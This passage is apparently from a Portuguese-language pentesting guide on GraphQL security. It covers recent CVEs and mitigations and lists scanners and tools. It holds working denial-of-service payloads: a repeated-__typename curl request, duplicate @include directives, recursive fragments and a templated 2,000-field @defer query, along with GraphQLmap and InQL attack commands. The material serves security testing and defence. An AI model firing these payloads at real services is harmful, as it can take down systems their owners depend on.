\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
```
## Vulnerabilidades Recentes (2023-2025)
> O ecossistema GraphQL evolui muito rapidamente; durante os últimos dois anos, várias questões críticas foram divulgadas nas bibliotecas de servidor mais utilizadas. Quando você encontra um endpoint GraphQL, vale a pena identificar o mecanismo (veja **graphw00f**) e verificar a versão em execução em relação às vulnerabilidades abaixo.
### CVE-2024-47614 `async-graphql` diretiva-sobrecarga DoS (Rust)
* Afetado: async-graphql < **7.0.10** (Rust)
* Causa raiz: sem limite em **diretivas duplicadas** (por exemplo, milhares de `@include`) que são expandidas em um número exponencial de nós de execução.
* Impacto: uma única solicitação HTTP pode esgotar CPU/RAM e derrubar o serviço.
* Correção/mitigação: atualize ≥ 7.0.10 ou chame `SchemaBuilder.limit_directives()`; alternativamente, filtre solicitações com uma regra WAF como `"@include.*@include.*@include"`.
```graphql
# PoC repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
```
### CVE-2024-40094 `graphql-java` bypass de profundidade/complexidade ENF
* Afetado: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
* Causa raiz: **ExecutableNormalizedFields** não foram considerados pela instrumentação `MaxQueryDepth` / `MaxQueryComplexity`. Fragmentos recursivos, portanto, contornaram todos os limites.
* Impacto: DoS não autenticado contra pilhas Java que incorporam graphql-java (Spring Boot, Netflix DGS, produtos Atlassian…).
```graphql
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
```
### CVE-2023-23684 Cadeia de SSRF para RCE do WPGraphQL
* Afetado: WPGraphQL 1.14.5 (plugin do WordPress).
* Causa raiz: a mutação `createMediaItem` aceitava URLs **`filePath`** controladas pelo atacante, permitindo acesso à rede interna e gravações de arquivos.
* Impacto: Editores/Autores autenticados poderiam acessar endpoints de metadados ou gravar arquivos PHP para execução remota de código.
---
## Abuso de entrega incremental: `@defer` / `@stream`
Desde 2023, a maioria dos principais servidores (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implementou as diretrizes de **entrega incremental** definidas pelo WG GraphQL-over-HTTP. Cada patch diferido é enviado como um **chunk separado**, de modo que o tamanho total da resposta se torna *N + 1* (envelope + patches). Uma consulta que contém milhares de pequenos campos diferidos, portanto, produz uma grande resposta enquanto custa ao atacante apenas uma solicitação um clássico **amplification DoS** e uma maneira de contornar as regras de WAF de tamanho de corpo que apenas inspecionam o primeiro chunk. Os próprios membros do WG sinalizaram o risco.
Exemplo de payload gerando 2 000 patches:
```graphql
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
```
Mitigação: desative `@defer/@stream` em produção ou imponha `max_patches`, `max_bytes` cumulativos e tempo de execução. Bibliotecas como **graphql-armor** (veja abaixo) impõem padrões sensatos.
---
## Middleware defensivo (2024+)
| Projeto | Notas |
|---|---|
| **graphql-armor** | Middleware de validação Node/TypeScript publicado pela Escape Tech. Implementa limites plug-and-play para profundidade de consulta, contagens de alias/campo/diretiva, tokens e custo; compatível com Apollo Server, GraphQL Yoga/Envelop, Helix, etc. |
Início rápido:
```ts
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
```
`graphql-armor` agora bloqueará consultas excessivamente profundas, complexas ou pesadas em diretivas, protegendo contra as CVEs acima.
---
## Ferramentas
### Scanners de vulnerabilidade
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa configurações incorretas comuns de endpoints graphql
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoria de segurança GraphQL com foco em realizar consultas e mutações em lote.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a impressão digital do graphql em uso
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para capturar esquemas e buscar dados sensíveis, testar autorização, força bruta em esquemas e encontrar caminhos para um tipo específico.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como autônomo ou [extensão Burp](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques: `python3 graphqlmap.py -u http://example.com/graphql --inject`
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de **chegar a um tipo específico em um esquema GraphQL**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): O sucessor dos modos autônomo e CLI do InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão Burp ou script python para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um endpoint GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as possíveis consultas e mutações, organizando-as em uma visão estruturada para sua análise. O componente _**Attacker**_ permite que você execute ataques em lote de GraphQL, o que pode ser útil para contornar limites de taxa mal implementados: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Tenta obter o esquema mesmo com a introspecção desativada, usando a ajuda de alguns bancos de dados Graphql que sugerem os nomes de mutações e parâmetros.
### Scripts para explorar vulnerabilidades comuns
- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Coleção de scripts para explorar vulnerabilidades de negação de serviço em ambientes graphql vulneráveis.
### Clientes
- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Cliente GUI
- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Cliente GUI
### Testes Automáticos
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- Vídeo explicando AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## Referências
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
- [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
{{#include ../../banners/hacktricks-training.md}}